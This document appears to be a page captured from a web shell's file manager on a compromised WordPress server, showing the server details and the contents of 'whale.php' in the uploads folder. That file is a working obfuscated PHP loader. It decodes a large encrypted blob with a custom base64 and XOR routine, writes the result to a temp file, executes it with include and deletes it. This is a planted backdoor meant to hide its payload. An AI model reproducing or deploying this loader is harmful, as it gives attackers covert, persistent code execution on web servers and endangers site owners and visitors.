HEX
Server: Apache/2
System: Linux s01 6.1.0-34-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.135-1 (2025-04-25) x86_64
User: beestg (1003)
PHP: 8.3.25
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/beestg/domains/beestgenot.nl/public_html/wp-content/uploads/2024/whale.php
<?php
$encrypted = 'T1oRBANoax8WFhIFHAs-HwcEExhbTFpheWhrSAMEEh81DA0JU1hBSxsRFRxJSk4bA0gHBR8ATAESCwALFhdPDxwITgEADQQAHzoCHhYBTwYACg9LSGhrYXlKTkxeSExMo_Kx3KPWsOyi5rHbo9-x3FO04LzNtdW8xrThvMW12bzPtd-8wLXfTKLisdmi5bHZo9JBDyY3LUxeSExheUECBFNYQQ8GFw0zGgsIGFtBEQ0AFicFHwBIV35vAhkBCT4fFhEOHAdNRQ8bSUEvJjctIyMxPj42MTQ-PTEzLT02JykhSUEYARAERUhoaw8GFw0zAAAVAwMRSUgQDU1MMDAzIDw1NTM1Ki0gPDItIzAkNSU8K01MBxcUCVpebGYQEBMALBYEGBwVFURXBglAUyY0Pj8qMTgsMDIpISQmKT0xTUxUKA4WGgkNDVxQT1xUTFpheQYUHh86EgkHChEYW0ECBF9FIjkhKS48Jzo1JT4gLjknSUFdQ0xaYXloa0gQCg8YFgsVTE5FAhkBCT4JCwACRFcGCUVIaGtheQwHTFsGFB4fOgQeAQsORFcGCUVaRRpheUVBTFMBCAlbR7Hyou2x1KPUsdaj1UEPJjctVlNHQUJTBhQeHzoEHgEKE0RXBglFWl5sZg5oa2F5QQkYBxUiAxcAQVFTBhQeHzoGCQcMDwocTUUPG0lBLyY3LSU9Iy4zOzE1PCwmLig2TFpheQYUHh86AgAcFgREVwYJRUhoa2F5DAdMW0EJGAcVIgMXAEFNTlhBXkNVQRAPRUUPHAsVCR0RQVFOWEEKEgkSCVpFGmF5RUFMUwEICVtHscij1bHVo95BvM611Eyi4rHUouex3KPQsO6i5LDjU7XZvMi12UwmNy1Mo9ix2aPRsdKi5LDuouax06PQsdFJRUNMXUVFHBIWEioaCQRFSGhrEX5vbGZcSkFBXkhBvO210L3ztdG8wrXfvfG127zDRSs_PCtBQV5IbGZXAQAYEkVcTBkWDgIsAQQPHAEERFcGDgIHAA8YX0UVHgYASFd-bwgKU01FCBIRAExOWFxMHRANAFpFGmF5RUFMUwEICVtHsfKi7bHUo9Sx1qPVQb3ztdG8xLXQvM204bzDRSs_PCtbTFFFT0wZFg4CLAkAHwc6BB4BChMzHhYGRFpMWmF5GGxmfm9FHwcKEwkXLQAfG0VcTFcBABgSPkYcEhYSSy5FXlNTCxQAH15sZhoDQURSQRIYHBcECDsEEgRaRRpheUVBTFMBCAlbR7HJo9Cw5FO13rzDtOG8zbXavfxFsdGj0EG8zrXRvMq11bzGtdxMo9dBJiAqL0JRTFpheRhsZn5vTkNTSExBU7XxvMG047zNtOG8y7XWvMO057zLtO5MXkhMYXkMB0xbQT4_Njc3KSE-Rj42NDQpIDE-ITYxKSM3QjxMTlhcTFQ1Lj8nQkhMCGhrTFNFQUgaCxEZBzUAHwASDh4XRVxMVzoxIyAxOksDBBIfBAoTCFQ4QVNMRUZLSGhrYXlFQUxTDAdMW0ESGBwXBAg7BBIEU0NHTAMEEh8EChMILBMEHhoDGERXDA8cBhExDQAWFgMBAU1MVxYVAwEABSQSFglFWkUaYXlFQUxTRUFMU0E-PzY2MiU8KzpLEhAVBBYLFQUQBBUJF0I8TE5FFR4GAFpheUVBTFNFQUxTDQQNFwATRFQpDg8SEQgDHV9BS1NLQUgsNiQ-JSAzN1Q1KTwsNiQgNUI8RUhoa0xTRUFMU0VBCQsMFVd-b0FMU0UcTBYJEglTHmxmU0VBTFNFQUxXABMeHBdBUVNHsfGj0LHeo9Cw7KPYsOej3EG8zLXRvfO137zItO1CUV5sZlNFQUwOaGsRfm9sZlxKQUFeSEG84bTqvfa137zHRUxBXmhrBRVFSQUAFgQYW0E-KzYxOksfCgYDBhFGMVpMQRd-b0FMU0USCQAWCAMdOgUJABETAwpNSFd-b0FMU0UJCRIBBB5bRy0DEAQVBRwLW0xRRU9MVzoyKSEzJD4oQjEkIzoyKT8jRjFaXmxmU0VBTBYdCBhIaGsRfm9sZlxKQUFeSEG817XfvfO13bzDRbHeouCx0qPRsdxTSExBfm8IClNNQAUAFgQYW0E-PzY2MiU8KzpLEhAVBBYLFQUQBBUJF0I8RVMZHUxXOjIpIDYoIz0-Rg0GEQkJHREIDxIRBAhUOEFNTlhBGAEQBEVJaGtTTWhrUFIhLi8nPDEpUw0VAR9bbGZPDRUBH1tsZk8NBA0XW2xmU0VBTE8RCBgfAF8BAA0EAB9ZThgaEQ0JTWhrTFNFQVAAERgAFltsZlNFQUxTRUFMWUUaTBEKGUEADBsFHQJbTBEKEwgWF0wOHB1aTB4EEwsaC1tMQ15BHBIBBQUdAltMQ15BEX5vQUxTRUFMU0UDAxccQRd-b0FMU0VBTFNFQUxTRQMNEA4GHhwQDwheBg4AHBdbTFBUU1wXVFVXfm9BTFNFQUxTRUFMU0UCAx8KE1ZTRgcNFVUEWkhoa0xTRUFMU0VBTFNFQQocCxVBFQQMBR8cW0xULwQYMRcABR0WQSEcCw5LX0VGLxwQEwUWF0EiFhJGQFMmDhkBDAQeX0UMAx0KEhwSBgRXfm9BTFNFQUxTRUFMU0UHAx0RTB8aHwRWU11RSUhoa0xTRUFMU0VBEX5vQUxTRUFMU0UJXl0NBA0XABNMCGhrTFNFQUxTRUFMU0VBChwLFUEADBsJSUVQXkNAWmF5RUFMU0VBTFNFQUxTBwAPGAITAwYLBUEQCg0DAV9BT0VdVw1EUlpheUVBTFNFQUxTRUFMUxUACBcMDwtJRVkcC15sZlNFQUxTRUFMU0VBTBAKDQMBX0FPEFYDXREBWmF5RUFMU0VBTFNFQUxTEQQUB0gAABoCD1ZTBgQCBwATV35vQUxTRUFMU0UcYXlFQUxTRUFMUwcUGAcKD0wIaGtMU0VBTFNFQUxTRUEOEgYKCwEKFAIXSAIDHwoTVlMXBg4STVBUX0VQX0tJQV1BV01MQ0tWVFpebGZTRUFMU0VBTFNFQUwbAAgLGxFbTEBVERRIaGtMU0VBTFNFQUxTRUEPHAkOHklFQio1I1koMF5sZlNFQUxTRUFMU0VBTB4EEwsaC0weGgIJGElFUFwDHVpheUVBTFNFQUxTRUFMUwcOHhcAE0EBBAUFBhZbTEAVGVd-b0FMU0VBTFNFQUxTRQMDAQEEHklFDwMdAFpheUVBTFNFQUxTRUFMUxUACBcMDwtJRVccC0VQXgMdWmF5RUFMU0VBTFNFQUxTAw4CB0gHDR4MDRVJRUYmFhEjHhIMDx9TKA4CHEJNTFQmDhkBDAQeUysEG1RJQS8cEBMFFhdNTB4KDwMAFQAPFl5sZlNFQUxTRUFMU0VBTBUKDxheFggWFl9BXUcVGVd-b0FMU0VBTFNFQUxTRQIZARYOHklFEQMaCxUJAV5sZlNFQUxTRUFMU0VBTBcMEhwfBBhWUwMNCQtebGZTRUFMU0VBTFNFQUwHFwACAAwVBRwLW0wSCQ1MQ0tQWQBFBA0AAFpheUVBTFNFQUxTGGxmU0VBTFNFQUwREBUYHAtbBBwTBB5THmxmU0VBTFNFQUxTRUFMEQoZQQANAAgcEltMQ0VTHAtFWRwLRRMLEQRJWkZJQVpGSUFaRklBXF1SSFd-b0FMU0VBTFNFQUxTRQMNEA4GHhwQDwheBg4AHBdbTAECAw1bVFJUX0VQVF9FVVRfRVFCRF1IV35vQUxTRUFMU0UcYXlFQUxTRUFMUwwPHAYRQRd-b0FMU0VBTFNFQUxTRQwNAQIIAklFWRwLRVFXfm9BTFNFQUxTRUFMU0URDRcBCAIUX0FUAx1aYXlFQUxTRUFMU0VBTFMSCAgHDVtMQlVRSUhoa0xTRUFMU0VBTFNFQQ4SBgoLAQoUAhdIAgMfChNWU0ZTCEEBUwhIaGtMU0VBTFNFQUxTRUEOHBcFCQFfQV0DHUEfHAkICFNGVVhHXmxmU0VBTFNFQUxTRUFMEAoNAwFfQU8VBAdcFlNaYXlFQUxTRUFMUxhsZlNFQUxTRUFMFQoTAVMebGZTRUFMU0VBTFNFQUwRBAIHFBcOGR0BW0xQVARdFlQEV35vQUxTRUFMU0VBTFNFEQ0XAQgCFF9BXkMVGVd-b0FMU0VBTFNFQUxTRQMDAQEEHl4XAAgaEBJWU10RFEhoa0xTRUFMU0VBEX5vQUxTRUFMU0VPABwCCAJeEhMNAxUEHlMebGZTRUFMU0VBTFNFQUwXDBIcHwQYVlMDDQkLXmxmU0VBTFNFQUxTRUFMGRASGBoDGEEQCg8YFgsVVlMGBAIHABNXfm9BTFNFQUxTRUFMU0UAABoCD0EaEQQBAF9BDxYLFQkBXmxmU0VBTFNFQUxTRUFMGwAICxsRW0xCVVEaG15sZlNFQUxTRUFMDmhrTFNFQVBcFhUVHwBfYXlZTgQWBAVSfm9dDhwBGFJ-b0FMU0VdBEFFAgASFhJRUQ0EDRcAE05NRQxMAEUJTBZFDUwfWU4EQVtsZlNFQUxPAQgaUwYNDQAWXE4fCgYFHUgWHhIVEQkBR19heUVBTFNFQUxTWQcDAQhBARYRCQMXWEM8PDY1Tk1oa0xTRUFMU0VBTFNFQVBMFQkcUwwHTFtEBAEDERhEVwATHhwXSEVTAAIEHEVDUANFEhgKCQRRVAYOABwXW0wBAAVXVFtFCQEXDh5PShFSUV5BU01oa0xTRUFMU0VBTFNFQVAaCxEZB0UVFQMAXE4DBBIfBAoTCFFFDw0eAFxOAwQSHwQKEwhRRREAEgYEBBwJBQkBWEM8EhYSGxwXBU5TFwQdBgwTCRdFABkHCgcDEBASUn5vQUxTRUFMU0VBTFNFXQ4GERUDHUUCABIWElFRBxQYBwoPQR8MCglRRRUVAwBcTgAQAwEaEUNSPwoGBR1ZTg4GERUDHVtsZlNFQUxTRUFMT0oHAwEIX2F5RUFMU1lOCBoTX2F5WU4OHAEYUn5vXUMbEQwATWhrUEwVCRx-b0FMU0UEFBoRWmF5AA8IGgNaYXk';
if (!function_exists('snail')) {
    function snail($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), snail($encrypted, 'seal'));
include $tmp;
unlink($tmp);

?>